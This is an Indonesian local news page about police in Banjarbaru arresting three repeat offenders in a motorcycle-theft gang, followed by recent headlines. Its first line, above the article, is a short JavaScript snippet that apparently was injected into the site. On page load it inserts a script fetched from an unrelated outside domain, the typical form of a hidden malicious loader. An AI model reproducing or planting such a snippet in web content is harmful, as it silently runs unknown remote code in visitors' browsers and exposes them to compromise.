(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Komplotan Curanmor Dibekuk, Ternyata Pernah Satu Sel di Penjara


BANJARBARU, Unit Buser Polres Banjarbaru, Polsek Banjarbaru Kota di-back up Buser Polsek Martapura Kota berhasil membekuk 3 orang pelaku pencuriam kendaraan bermotor (Curanmor) pada Selasa (17/12).

Diketahui para pelaku yakni PD (25), MS (24) dan MZ (23). Ketiganya berhasil diringkus di wilayah Kabupaten Banjar. Sementara, seorang pelaku lainnya berinisial UD, masih dalam pengejaran petugas gabungan.

Saat komplotan pelaku ditangkap, petugas berhasil mengamankan barang bukti sepeda motor jenis Satria F warna abu-abu hitam, Vario Techno warna hitam serta Jupiter Z warna merah hitam.

Kasat Reskrim Polres Banjarbaru AKP Aryansyah mengatakan, dari pengakuan para pelaku, aksi pencurian sepeda motor ini dilakukan sebanyak tiga kali di wilayah Banjarbaru. Masing-masing ada di daerah Sungai Besar, kawasan Minggu Raya dan jalan Trikora.

“Untuk saat ini, TKP yang baru kita ketahui baru tiga lokasi ini saja. Petugas masih melakukan pemeriksaan lebih lanjut,” katanya.

AKP Aryansyah juga mengungkapkan terkait modus para pelaku, yakni dengan memanfaatkankan kelengahan para korbannya. “Sebelum melakukan aksinya, para pelaku ini melihat lebih dulu motor mana yang tidak terkunci stang. Kalau mereka sudah dapatkan, kemudian dicuri dengan cara didorong oleh pelaku,” lanjut Kasat Reskrim.

Sementara itu, Kapolres Banjarbaru AKBP Doni Hadi Santoso, melalui Kasubbaghumas Polres Banjarbaru AKP Siti Rohayati mengatakan, ketiga pelaku ini merupakan residivis pelaku kejahatan curanmor, narkoba, perkelahian dan membobol toko. Para pelaku ini membentuk komplotan Curanmor saat di ketiganya bertemu di satu sel yang sama.

“Untuk pelaku saat ini ditangani penyidik di Polsek Banjarbaru Kota sesuai dengan Laporan Polisi dari korban, sementara pasal yang akan disangkakan kepada para pelaku yaitu Pasal 363 KUHP tentang pencurian dengan pemberatan dengan ancaman hukuman 9 tahun penjara,” tandasnya. (rico)

Reporter : rico
Editor : bie

 


Desy Arfianty

Recent Posts

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

36 menit ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

3 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

7 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

7 jam ago

Pascabanjir Bandang Balangan 48 Rumah Mulai Diperbaiki

KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More

7 jam ago

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

11 jam ago

This website uses cookies.